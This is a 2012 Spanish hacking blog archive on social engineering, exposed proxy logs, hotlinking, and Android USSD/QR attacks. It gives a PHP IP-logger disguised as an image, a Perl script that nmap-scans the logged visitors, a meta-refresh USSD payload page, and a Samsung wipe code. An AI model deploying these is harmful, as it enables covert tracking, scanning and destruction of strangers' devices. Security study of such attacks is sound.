viernes, 19 de octubre de 2012

Ingeniería social, el arte del hacking personal


La Wikipedia define la ingeniería social como:
En el campo de la seguridad informática, ingeniería social es la práctica de obtener información confidencial a través de la manipulación de usuarios legítimos. Es una técnica que pueden usar ciertas personas, tales como investigadores privados, criminales, o delincuentes computacionales, para obtener información, acceso o privilegios en sistemas de información que les permitan realizar algún acto que perjudique o exponga la persona u organismo comprometido a riesgo o abusos.
 Dicha rama de la seguridad informatica está mucho menos documentada en blogs y libros que otras más técnicas como son la seguridad web o la de redes, por lo que me sorprendió gratamente encontrarme en la estantería de la librería este libro.



  Gran obra escrita por Christopher Hadnagy principal desarrollador de http://www.social-engineer.org. En él se trata el tema de la ingeniería social con muchos toques de psicología (como debe ser), pero siempre intentando relacionarlos con la seguridad informática.

  Trata temas como pueden ser la recolección de información, el ganarse la confianza de otros, como interpretar las expresiones involuntarias de los demás (microexpresiones) y un tema que me fascina, la programación neurolingüística (PNL).
  Además da repaso por herramientas informáticas relacionadas con la ingeniería social como como son S.E.T. o Maltego, sin olvidar otras técnicas ajenas a los ordenadores como es el lock picking.

  Aquí tenéis un enlace al libro "Ingeniería social, el arte del hacking personal" y su correspondiente índice:
1. Una mirada al mundo de la ingeniería social
2. La recopilación de información
3. Las maniobras de obtención de información
4. El pretexto: cómo convertirse en otra persona.
5. Trucos mentales: los principios psicológicos en ingeniería social
6. La influencia: el poder de la persuasión
7. Las herramientas  del ingeniero social
8. Estudio de casos prácticos: diseccionando al ingeniero social
9. Prevención y mitigación

Concluyo este post algo diferente a los acostumbrados, pero que me parecía interesante después de la gran impresión y curiosidad que despertó el libro por los temas que abarca.

Nos leemos en breve ;)

5 0verl0ad Labs: octubre 2012 La  Wikipedia  define la  ingeniería social  como: En el campo de la seguridad informática, ingen...

sábado, 13 de octubre de 2012

De ver una petición HTTP a acabar leyendo logs de proxys

¡Saludos!

  Me hallaba yo traqueteando un poco con un servidor local, diseñando una pequeña prueba de concepto para un paper que estoy escribiendo cuando una cabecera HTTP salvaje se me cruzó. Echando un ojo a las cabeceras que se enviaban con Live HTTP Headers aparecía una hacia localhost, hacia un puerto raruno. Los que ya me conocen saben de mi extrema paranoia, asi que en esos momentos lo primero que pensé es que algunos rusos estarían practicando el medievo con mi ordenata.





 


   Asi que tiré de google para ver si alguien sabía qué diablos era aquello, y... encontré algo bastante interesante. En el primer enlace explicaban que se trataba de Avast y de la protección web, pero eso ya no era lo que me intrigaba. En la busqueda "localhost 27275" me saltaron webs, todas similares, en gran cantidad (o como diría un amigo: "a tutiplen"). Pasado el susto, y ya tranquilo, leí los title y pensé... "¿Squid?" "¿Report?" nah... no creo que sea... ¿logs de proxys? ¿Ips, usuarios, sitios visitados? Demasiado bueno para ser cierto... Habrá que echar un vistazo...  Premio :)


     


   Sí, era lo que pensaba. El dueño de la IP que aparece también usa Avast!, mira qué guay. Lógicamente empecé a trastear un poco, a ver qué se podía ver por los logs.Se acaban viendo cosas curiosas, como descargas de peliculas taiwanesas, FTPs de acceso anónimo, fotos de gente, etc. Como gran hermano, pero versión asiática.

    Independientemente del cotilleo, hay cosas más interesantes que se muestran desde el punto de vista de la seguridad, como los usuarios e IPs:


     
   Así como qué webs suelen visitar, o qué software tienen para realizar un ataque dirigido, ya que las descargas de actualizaciones (y los instaladores) quedan reflejados, como en este ejemplo de la Universidad de Buenos Aires:






La conclusión lógica de esto es que dejar algo tan jugoso como los logs de del proxy de tu empresa/universidad/otra-cosa al acceso de cualquiera es algo que ya debería de estar más que superado.

Byt3z


5 0verl0ad Labs: octubre 2012 ¡Saludos!   Me hallaba yo traqueteando un poco con un servidor local, diseñando una pequeña prueb...

miércoles, 10 de octubre de 2012

Hotlinking: localizando víctimas vulnerables

¡Saludos!


    En alguna hemos hablado por este blog sobre el hotlinking, y su utilización como vector para realizar distintos ataques. De echo, la entrada " Universial Hijacking by <img> (GET Method)" aparece como referencia en la solución del reto de "Elhacker.NET"  (resuelto por Yoya), y también el hotlinking fue clave para explotar la vulnerabilidad de SMF 2.0 descubierta por Seth y por mí (SMF 2.0: Token Hijacking ; SMF 2.0: Privilege Scalation (from Token Hijacking) . Asi que, como es de comprender, le tengo cierto cariño y recurro a ella con mucha frecuencia para sacarme las castañas del fuego.


   El caso es que esta mañana mientras me duchaba para ir a la facultad y tratar de pillar apuntes de Neurobiología, se me ha cruzado una idea... y no he ido a clase. La idea era: ¿cómo alguien con malos propósitos podría conseguir rápidamente localizar individuos vulnerables a un ataque determinado, de la forma menos invasiva posible (y de hecho, a ser posible que sea invisible) y que todos ellos pertenezcan a un mismo entorno?


   Tras descartar distintas ideas, llegué a la que considero que responde a los 3 postulados, y se trata de un concepto tremedamente simple: colocar una "imagen" como avatar, firma o similar, que se encuentre alojada en nuestro servidor, y crear un log con las IPs de los visitantes. El log puede contener gran cantidad de información, llegando incluso con un poco de maña a identificar el username del visitante en caso de que quien esté visualizandolo esté logueado en la web.


   Al tratarse de una imagen, que es habitual en foros  y otros tipos de comunidades, nadie puede darse cuenta de qué es lo que está ocurriendo. En mi caso he diseñado un PoC bastante simple para comprobar si realmente esto es efectivo, asi que únicamente haremos un escaneo rápido con nmap.

  En primer lugar necesitaremos el script PHP que alojaremos en nuestro servidor y que estará compuesto por dos partes: la parte que loguea y la parte que mostrará una imagen cuando sea solicitado. Aqui mi ejemplo:

<?
$handle = fopen("log.txt","a+");
$string = $_SERVER['REMOTE_ADDR'] . "\n";
fwrite($handle,$string);
fclose($handle);
Header( "Content-type: image/jpg");
$imagen_png = file_get_contents('rorschach.jpg');
echo $imagen_png;
?>
 Simplemente coge la IP y la mete en el archivo log.txt, y después muestra la imagen. Si al seleccionar un avatar, firma o similar, colocamos la url a nuestro archivo  ya podría ser visualizado, pero si alguien curioso echase un ojo vería la extensión .PHP, lo cual a algún paranoico podría darle que pensar. Asi que tiraremos de un .htaccess para poder ejecutar aquellos archivos con la extensión .jpg como si se tratase de PHP:

<Files *.jpg>
ForceType application/x-httpd-php
</Files>
    Entonces, al visualizar la imagen nadie podrá sospechar nada:

  

  Ahora un poco de perl para descargar el archivo y realizar un escaneo automático de puertos con nmap a todas las IPs allí presentes:


use LWP::UserAgent;


if ($ARGV[0] eq "-d") { &down; } elsif ($ARGV[0] eq "-s") { &scan; }

sub scan {
open(HANDLER, "<log.txt");
my @lista =<HANDLER>;
foreach $ip (@lista){
chomp($ip);
print "[+] Scanning... $ip\n";
system("nmap $ip >> scan.txt");


}



}


sub down {

my $wlog = "dfadfasd.afadsfas.es/log.txt";

my $browser = LWP::UserAgent->new;
my $descarga = $browser->get($wlog);

if ($descarga->is_success) {
print "[+] Descarga con exito\n";

open(HANDLER, ">>log.txt");

print HANDLER $descarga->decoded_content;
close(HANDLER);


}  else { die "\nERROR DESCARGANDO EL LOG( $descarga->status_line )"; }

}


    Dejamos la imagen por la mañana, por la tarde recogemos los frutos... ;-D


 Y vemos si todo ha funcado como debería:



Byt3z

5 0verl0ad Labs: octubre 2012 ¡Saludos!     En alguna hemos hablado por este blog sobre el hotlinking, y su utilización como ve...

miércoles, 3 de octubre de 2012

Aventuras y desventuras de Android con QR y USSD




  Leyendo la entrada publicada por el señor The X-C3LL y escrita por Locutus referente a las vulnerabilidades de los dispositivos con Android y los códigos USSD (más información aquí) me ha venido a la cabeza el daño que podría hacer alguien con oscuras intenciones y algo de tiempo libre.

  Veamos el siguiente escenario:
   Una universidad cualquiera, todo el mundo con sus flamantes smartphones con Android, una significativa cantidad de ellos son terminales Samsung (después veremos porque el hecho de que sean de esta compañía es relevante) y se acerca el jueves (gran día para salir de fiesta ;) ) con lo que los tablones están llenos de promociones y descuentos para pubs, discotecas y oscuros antros.
   Entonces entra en juego el atacante, una joven inteligente (lectora de este blog) que se aburre y decide causar una masacre tecnológica, con lo que crea, o simplemente copia un cartel con una apetecible y suculenta oferta lúdica. A este anuncio le añade como forma de contacto un código QR apuntando a una página creada (o copiada y modificada) con oscuro fin.
   Los estresados estudiantes ven tan maravillosa oferta, y cegados por la curiosidad (además de sus ansias de borrachera) desenfundan sus potentes androides, emocionados lanzan su aplicación favorita para leer códigos QR (por ejemplo Barcode Scanner) y ¡¡MAGIA!!¡¡BRUJERÍA!! de esa imagen formada con negros cuadraditos surge una dirección hacia una web http://copas_gratis_para_todos_y_todas.org (una dirección muy atractiva para las inocentes víctimas, puesto que nuestra intrépida atacante es una gran ingeniera social). Entonces al abrir la dirección automáticamente se ejecutará el código USSD con distintos (y algunos fatales) fines en función del código escogido.

  Después de esta historieta (ha sido un día largo xD ) veamos como nuestra avezada joven ha logrado realizar este ataque.

  Obviando los pasos del diseño y cartel, el ataque es muy simple. El primer paso es conocer el código USSD a utilizar, para la demostración, y puesto que no queremos romper nada, utilizaremos la combinación que nos dará el IMEI del terminal:
*#06#
Una vez escogido, el ataque es simple, hacer que la web redireccione cualquier visita a una llamada a ese USSD, esto es muy facil, puesto que basta con introducir en el head del html:
<meta http-equiv="Refresh" content="0;url=tel:*%2306%23"> 
Comentar que el "prefijo" los codigos USSD es "tel", al igual que para una dirección web seria "http://".


El ejemplo de una página web simple (en blanco) es el siguiente:
<html> <head> <title>Fiesta en X!!</title>  <meta http-equiv="Refresh" content="0;url=tel:*%2306%23"> </head></body> </html>

Una vez creada la página que realizará las maldades, resta crear el código QR. Para realizar esta tarea hay numerosos servicios web gratuitos que con solo introducir la dirección deseada nos generará su respectivo código.

  Una página con esta capacidad es:
http://www.codigos-qr.com/generador-de-codigos-qr/


  Por último bastaría con crear un cartel bonito y sugerente y añadirle el código QR, lo que eso ya se lo dejo a l@s manitas ;)


  Antes de finalizar, acabamos de ver que es posible crear los códigos QR con aplicaciones web, pero hay una gran herramienta que también es capaz de realizar dicha tarea, ésta es  SET


 El camino a seguir en sus nutridos menús es:
1)  Social-Engineering Attacks

Después:
9) QRCode Generator Attack Vector

En el siguiente paso pedirá la dirección a la que redireccionará el código, en nuestro caso:
http://copas_gratis_para_todos_y_todas.org

Y ya tendremos en el directorio /pentest/exploits/set/reports el código QR generado:




  Con todo esto ya conocemos un nuevo y dañino vector de ataque del que una gran cantidad de dispositivos pueden ser víctimas, ya que al acceder a la dirección se desconoce su contenido. Además si el dispositivo es un Samsung, la cosa es mas "peliaguda", puesto que como se comenta en el post referenciado al principio existen códigos USSD realmente peligrosos para estos dispositivos.

  Como aclaración antes de despedirme, recordar que este post no es para que empecéis a colgar códigos QR por todas partes mientras soltáis carcajadas malvadas, es para prevenir de posibles ataques realmente dañinos de los que podéis veros afectados, ya que ahora conocéis el vector de ataque ;).

Nos leemos en breve,

5 0verl0ad Labs: octubre 2012   Leyendo  la entrada  publicada por el señor  The X-C3LL  y escrita por  Locutus  referente a ...

martes, 2 de octubre de 2012

Grave vulnerabilidad en Android / Codigos USSD, Wap-push SMS y tu movil arruinado en segundos

Saludos,

   Este post que voy a publicar a continuación no es mío sino que es de Locutus (publico esto mientras que preparo ya un artículo  sobre algo interesante para dentro de poco ;-P ).


----------------------------------------------------------------------------------------------------------------------
Hace una semana se libero en la ekoparty2012 una vulnerabilidad que afecta a los equipos android en general, pero particularmente a los samsung se les puede hacer un hard-reset y blockeo de sim sin interaccion del usuario. si... sin tocar absolutamente nada puede que la proxima vez que quieras usar tu telefono te encuentres con que no tenes contactos, aplicaciones ni absolutamente nada, solo lo que viene en la rom de fabrica... ademas de una sim inservible que no puede salvar ni el operador de telefonia sin cambiarla por una nueva.

la tecnologia sigue avanzando y millones de personas tienen aparatos que practicamente no saben usar ni tienen la mas minima idea de como funcionan. ayer, comentando el asunto entre "profanos" note que casi no le daban importancia dado que no llegan a entender el alcance de algo asi. alguien con muchas ganas de molestar y sin demasiados conocimientos podria estarse dedicando a resetear equipos samsung todo el dia, solo hace falta mandar un sms con un formato especial y... pwned!! asi tambien se podria organizar un ataque masivo por parte de algun grupo mas organizado dejando sin telefonia a un gran porcentaje de la poblacion mundial.
obviamente esto se puede desactivar ademas de que samsung no tardo en responder y saco anteaayer un parche para solventar el problema, lo que no parece tan obvio es que el user comun no anda haciendo updates de su android cuando no los hace ni de su windows... de desactivar la opcion de recibir push sms ni hablar, hay q entrar a demasiados menus... je
si queres una solucion rapida anda al final de la entrada, si te interesa saber como funciona todo este tema a continuacion explico como funcionan cada una de las tecnologias que intervienen en el fallo y porque es posible.
como siempre digo... el futuro es del que domine a la maquina, no del que la posea... ;)

codigos USSD


el protocolo ussd (Unstructured Supplementary Service Data) es usado normalmente para comunicacion con el proveedor de telefonia, generalmente para servicios de mensajeria en tiempo real. es usado por Paypal de brasil, Airtel Money en la india, Mobipay en españa y muchas otras empresas en africa y otros lugares de europa.
el sistema es muy parecido al sms pero no tiene capacidad de almacenamiento, o sea que el mensaje que no se puede entregar en el momento se pierde... algo asi como un paquete udp, si llega llega y sino olvidate.
hay codigos propios del operador, del fabricante, codigos standard... uno de los mas comunes y q la mayoria habra usado alguna vez es el tipico:

*#06#

que nos devuelve el imei del aparato. pueden probarlo ingresandolo como si marcaran un numero de telefono normal y sale una ventana con el numero correspondiente.
tenemos tambien los codigos del operador, por ejemplo mucha gente gasta en sms o llamadas preguntando el saldo cuando con un simple ussd se puede saber gratis. en personal marcamos:

*150#

pero hay codigos mas "peligrosos", en los equipos Samsung se conoce uno que puede hacer un hard-reset al equipo que es lo que tanto revuelo trajo estos dias. el codigo en cuestion es:

*2767*3855#

este ultimo seria recomendable q no lo prueben... ;)

hay un pequeño detalle si comparamos los dos 1eros codigos, al ingresar el 1ero (al igual que el 3ero) no hace falta presionar el boton de marcar, el codigo se ejecuta automaticamente al ingresar el ultimo numeral (#).


el link html "tel"


hace unos años, aunque muchos no se dieron cuenta, existe la posibilidad de crear un link hacia un numero de telefono para la gente que navega desde sus moviles. simplemente haciendo click sobre el link el numero se ingresa en el marcador del telefono.
asi tambien se pueden hacer links para sms o skype pero no vienen al caso. el formato para un link a un numero telefonico podria ser asi:

llamar al 66660000

si estan viendo el blog desde un celular pueden probarlo en el siguiente link:

marcar 66660000

al hacer click se carga el numero pero, como es logico, no se marca sino que necesita la intervencion del usuario para hacerlo... o no? creo q ya se dieron cuenta por donde viene la historia... pero recien estamos empezando ;)

wap-push y el "sms of death"...


el wap-push es un tipo de mensaje que se usa para enviar contenido en forma de un link, se utiliza mucho en paginas a las que al enviar un sms a cierto numero nos devuelve otro con un link de acceso. este tipo de mensajes no muestra informacion sobre el sender, simplemente aparecen como "mensaje push" o algo parecido segun el sistema.
hasta ahi parece bastante inocente pero existen dos tipos de push, el SI (Service Indication) que envia el link y necesita de la intervencion del destinatario para cargarlo y SL (Service Load). este ultimo, que es el que nos interesa, se usa mas que nada para updates de software y carga directamente el contenido en el navegador predeterminado del sistema sin preguntarle a nadie.

hay que tener en cuenta que la palabra "contenido" es muy amplia... asi como se entrega un update se puede abrir una web determinada conteniendo cualquier cosa... por ejemplo un link "tel"...


el ataque


volviendo atras, habiamos visto que el codigo ussd para reset de samsung es publico, o sea que teniendo un equipo en la mano lo podemos borrar ingresandolo. tambien vimos que podemos poner en una pagina un link "tel" para que cargue cualquier numero, no hay que ser muy genio para darse cuenta que podemos poner el ussd en el link para que el dueño de un samsung que haga click se quede sin datos... no olvidemos el pequeño detalle de que no hay que presionar el boton de marcar para estos codigos, o sea que se ejecuta automaticamente.
otro vector de ataque del que no voy a hablar en tanto detalle son los codigos QR, por medio de uno se puede obtener el mismo resultado, y como "los profanos" estan siempre tan avidos de usar tecnologias nuevas que no entienden, no duden que algun malintencionado que empieze a pegarlos por ahi consiga muchas victimas.

... pero todavia seguimos necesitando que alguien interactue haciendo click en el link... o no? claro, con un push sms del tipo SL le hacemos cargar la web automaticamente.
ademas de esto en la demostracion del bug se hizo un blockeo de sim introduciendo por el mismo metodo codigos PUK erroneos. al hacer esto 10 veces el chip se blockea quedando inservible a tal punto que ni siquiera el operador lo puede recuperar, sino que entrega al usuario uno nuevo.
no voy a explicar como hacer esto y mucho menos como enviar un push sms ya que me parece demasiado peligroso como para que lo pueda hacer cualquier lammer que lea esto pero ciertamente es informacion que se puede encontrar en google bastante facil. el unico dato que pienso dar es que hasta hay aplicaciones en el play store que pueden hacerlo.
aca se puede ver una prueba a mi celular con un link a mi red local:


como se puede ver el sender sale simplemente como "mensaje push". el link tenia el ussd *#06#, cuando entro el mensaje simplemente abrio la pagina y ejecuto el codigo mostrandome la ventana con el imei sin que haga absolutamente nada.


como protegerse


samsung saco rapidamente un parche pero es solamente para el galaxy S3, como siempre se cuida al producto que se vende en el momento y los demas... que se compren un S3. si bien como decia al principio la mayoria no actualiza nada, aunque sea es un avance.
mas alla de parches lo primero que habria que hacer es rechazar los mensajes push. esto se setea desde la aplicacion de mensajes, en ajustes -> mensajes push, simplemente desactivando la casilla ya no se reciben este tipo de mensajes. para el tema de los links la solucion mas facil es instalar el opera mobile que antes de abrir un link del tipo "tel" pide autorizacion.
en el caso de tener el push activado pero el opera como navegador predeterminado el link nunca llega a abrirse solo. con el tema de los qr pasa lo mismo.
otra posibilidad es cambiar la aplicacion del dialer por otra como por ejemplo el TelStop, que resuelve el problema y se puede descargar gratuitamente del play store.


como saber si tu telefono es vulnerable


si queres saber si tu equipo es vulnerable hace click en el link de abajo, tiene el codigo ussd para mostrar el imei. deberia abrir la ventana con el numero correspondiente si lo es.

IMEI TesT

5 0verl0ad Labs: octubre 2012 Saludos,    Este post que voy a publicar a continuación no es mío sino que es de Locutus (publico...
< >